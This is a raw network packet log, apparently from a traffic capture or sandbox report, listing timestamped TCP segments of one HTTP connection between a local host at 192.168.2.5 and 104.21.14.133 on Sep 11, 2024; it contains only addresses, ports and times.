Sep 11, 2024 18:23:52.933634043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933798075 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.934616089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934619904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934623957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934657097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934665918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934669971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934674025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934676886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934680939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934806108 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.934806108 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.934819937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934823990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934828043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934834003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934837103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934840918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934864998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934869051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934875965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934880018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934883118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934886932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934890985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934895039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934900045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934905052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934911013 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.934986115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934989929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934993982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.934998989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935007095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935012102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935056925 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.935056925 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.935056925 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.935085058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935089111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935092926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935097933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935162067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935168028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935170889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935173988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935182095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935187101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935189962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935194016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935199976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935204983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935241938 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.935241938 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.935241938 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.935326099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935329914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935333014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935338974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935347080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935350895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935355902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935359955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.935408115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.935408115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.935408115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.936263084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936266899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936270952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936316013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936325073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936330080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936333895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936336994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936341047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936372042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936377048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936379910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936384916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936407089 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.936407089 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.936443090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936446905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936450958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936455965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936464071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936516047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936520100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936523914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936528921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.936577082 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.936577082 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.936577082 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.937892914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.937896013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.937901020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.937935114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.937942982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.937947989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.937952995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.937956095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.937959909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938056946 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.938056946 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.938062906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938144922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938148975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938152075 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.938153982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938158989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938162088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938257933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938261986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938266039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938271046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938278913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938282967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938287973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938291073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938338995 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.938338995 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.938338995 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.938350916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938354969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.938859940 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.939549923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.939553976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.939558983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.939635038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.939644098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.939646959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.939652920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.939656019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.940294981 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.987243891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987250090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987253904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987260103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987276077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987282038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987287045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987289906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987293959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987299919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987303972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987308025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987318039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987320900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987325907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.987344027 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.987409115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.182574034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.182579041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.182583094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.182718039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.182727098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.182730913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.182734966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.182739019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.182745934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.182806969 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.183151960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.183228016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183232069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183237076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183279037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183281898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183285952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183290005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183303118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183309078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183311939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183315992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183326006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183329105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183383942 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.183383942 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.183383942 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.183485031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183487892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183491945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183496952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183590889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183593988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183598995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183650017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183656931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183660984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183674097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.183681965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183686972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183691025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183695078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183698893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.183702946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184065104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184068918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184072018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184076071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184091091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184098959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184102058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184106112 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.184106112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184106112 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.184113026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184115887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184120893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184169054 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.184169054 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.184169054 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.184250116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184252977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184257030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184262037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184269905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184273958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184278011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184282064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184284925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184288025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184293985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184298038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184300900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184313059 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.184341908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.184341908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.184465885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184469938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184473991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184557915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184577942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184582949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184587955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184592009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184601068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184606075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184608936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184612036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184619904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184626102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184640884 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.184640884 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.184658051 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.184685946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184689999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184694052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184696913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184705973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184729099 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.184753895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184902906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184906960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184911013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184921026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184923887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.184966087 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.184966087 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.185211897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.185215950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.185220957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.185317993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.185328007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.185332060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.185336113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.185339928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.185348034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.185709953 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.186150074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186152935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186156988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186163902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186172962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186177015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186181068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186183929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186187983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186228991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186233044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186237097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186242104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186249971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186254025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186259031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186263084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186266899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186271906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186275959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186280012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186285973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186289072 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.186290026 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.186290026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186290026 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.186379910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186383963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186388016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186393023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186395884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186397076 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.186397076 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.186399937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186404943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.186445951 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.186445951 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.188272953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.188277006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.188281059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.188323975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.188333035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.188337088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.188340902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.188344955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.188353062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.188420057 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.188420057 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.188426971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.188975096 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:53.189373016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189445019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189449072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189452887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189464092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189467907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189471006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189475060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189486980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189493895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189496994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189502001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189506054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:53.189515114 CEST	80	49710	104.21.14.133	192.168.2.5
